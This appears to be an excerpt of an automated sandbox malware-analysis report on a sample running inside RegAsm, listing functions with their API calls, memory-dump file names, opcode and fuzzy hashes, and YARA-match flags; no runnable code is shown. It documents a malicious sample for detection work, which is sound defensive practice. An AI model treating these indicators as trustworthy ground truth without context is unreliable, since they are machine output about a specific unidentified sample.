API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction ID: b0d32a7bd978dbc9842abeebd7712166406d741a383243a14520f93e3bb00ea5
Opcode Fuzzy Hash: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction Fuzzy Hash: 23E01271640304F7EF109BA0DD0AF5F72AC9700749F201175A606E60E0D6B8DA009A69

Function 6C27ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C27EE3D

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 8253fdcefbb5659be99f8aa6c96cce280851dd713f2c3327b38d2ced3dce6b46
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 6A71C472E117098FD728CF59C8C06AAB7F2AB98314F15462DEC5997B91D730E940CBB1

Function 0042B556 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(Function_0002B1C1,00000001), ref: 0042B56F

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 50f329e47e560d397284a7460fab74257ebf44bd3fd5d611c322744838e49ff6
Instruction ID: a965a9a856964b19ccfd622dabb5ac07b34b26fd65f40016140b6e3a2338ef0b
Opcode Fuzzy Hash: 50f329e47e560d397284a7460fab74257ebf44bd3fd5d611c322744838e49ff6
Instruction Fuzzy Hash: 20D05E71B50700ABD7204F30AD497B177A0EB20B16F70994ADC92490C0D7B865D58649

Function 0042762E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000275EC), ref: 00427633

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: aa3703d3437d06fb50dade6e7388276a3799fb2df3744491841b8284a36df350
Instruction ID: 9d6a1cee47f635cf13ac9ce2c832d8e993c26a4a09d493c42fccfa592e4f4ed0
Opcode Fuzzy Hash: aa3703d3437d06fb50dade6e7388276a3799fb2df3744491841b8284a36df350
Instruction Fuzzy Hash: 109002A035E250578A0217716C1D50565946A48706B951561A001C4454DBA580409919

Function 6C23A820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[["l, xrefs: 6C23A943, 6C23A92D

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID:
String ID: [["l
API String ID: 0-3189243325
Opcode ID: 6d17f7e185d2abe1d4e7e9c023da37940b80cc5824f066aa17266674b39d7d16
Instruction ID: 8e9e67adbd45836e2e9d54fc84d084af6b7e264a6f0a0f7187379c8370cf33c0
Opcode Fuzzy Hash: 6d17f7e185d2abe1d4e7e9c023da37940b80cc5824f066aa17266674b39d7d16
Instruction Fuzzy Hash: A8518CB1A0122ACFDB04CF99D944BAA7BA5EF49309F26907DEC1D9B750D730D852CB90

Function 0042CD2E Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14914ce319192a20c47738cfe0a9ee2becf76adafd29083199ce06f06434a77c
Instruction ID: 1083ebf1d243134f464a178308a4aca219bda912ef18d19aadecdfc68fc408c2
Opcode Fuzzy Hash: 14914ce319192a20c47738cfe0a9ee2becf76adafd29083199ce06f06434a77c
Instruction Fuzzy Hash: E402D633F496B24B8B314EB914D023B7FA15E02B4035F46EADDD03F296C21ADD1696E8

Function 0042DD1B Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: dda2d8312553e1c95ae9290fb5a86b267626fc41ecbdcb20c379a94cdcac9a0f
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 2EC19373E1A9B2458736453E281833FFE626E92B4035FC396DCD03F789C62A6D1295D8

Function 0042D933 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 22d7d8c7d4d200433fdd9d2dd26664f637f91bafcbc8b944c639d2ceeecc2b3b
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 23C18273E0E5B2498B36453D281833FEE626E92B4135FC396DCD03F389C22A6D5695D8

Function 0042D561 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: 36be3b158c7ea8da97b9e4428be642af1d9868a44fc0d3c63472978a90a48c43
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 94C19373E0A5B2098736453D281833FFE626E92B4135FC396CCD03F789C22A6D5695D8

Function 0042D1C3 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: ddcebadac126e464cc3750d9e2d8672968cec9ba0ec010ef0490426152480f4f
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: 10B1A473E0E5B2458775853D681833BEE626E92B4135FC3D6CCD03F789C22AAD1295D8

Function 0041950A Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: efb5a05ced2ce4e4aee4d090db94e3f2a63ab72161704b64252661ae9a98984c
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: 0D51C373900115ABEB18CF59C4D12E973B2FF94308F2690BEC84AAF286EB345D41CB58

Function 0041B712 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: ff8d56342150493d5ee7174f2b51d3d1273199e1d02235f828efebba161968d8
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: 9D21EB31670AE306CB844FF8FCD0152A7D1CBCE21BB5EC279CE60C91A6D16DE66385A4

Function 6C218EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182d5e69212e8312d141553af9d2ed65b14d9a0d0d605c08944194ae0b81d469
Instruction ID: a511482f44b550d200636e6a9c315a5203e42b578ac469608d9765b0e8b5d349
Opcode Fuzzy Hash: 182d5e69212e8312d141553af9d2ed65b14d9a0d0d605c08944194ae0b81d469
Instruction Fuzzy Hash: 6D119072A0921A8BD704CF15D8C4B9AB3AABF42318F15426AE9058FE41D775D886C7D1

Function 6C2F0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4753301594f32b6dabbcd258a709eb7fc968ced46d53bef7db2cb90bac992a
Instruction ID: 1fce8209f6445b425092edd9307faf7ada16ec2702f45268b8a936cb9dfe0377
Opcode Fuzzy Hash: 9a4753301594f32b6dabbcd258a709eb7fc968ced46d53bef7db2cb90bac992a
Instruction Fuzzy Hash: 7511827560434A9FDB00DF19C8906AAB7A5EF85368F148069EC298B701DB71E8078BA0

Function 6C2F0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: e1de7b6f0b4f6eb64ab1e9dd10c8c12bc7b318a2ef9e71e72c41ec5744362c04
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 90E09B3D64105D67DB148E09C460AA9B359DF81615FB4807DDC6D9FA01D733F80387A1

Function 0040111D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction ID: 43cdf4ecb647160fda175e5076d83385583e07dd488e496ff266cef725db0fb4
Opcode Fuzzy Hash: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction Fuzzy Hash: 7ED092B1509719AFDB288F5AE480896FBE8EE48274750C42EE8AE97700C231A8408B90

Function 00418599 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction ID: 81b03007a1f881deed44a42fc0175a6fbd256bce6d09bf2effb1e14420dd7128
Opcode Fuzzy Hash: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction Fuzzy Hash: DEE04278A55644DFC741CF58D195E99B7F0EB09368F158199E806DB761C274EE00DF00

Function 0041859A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 0040148A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

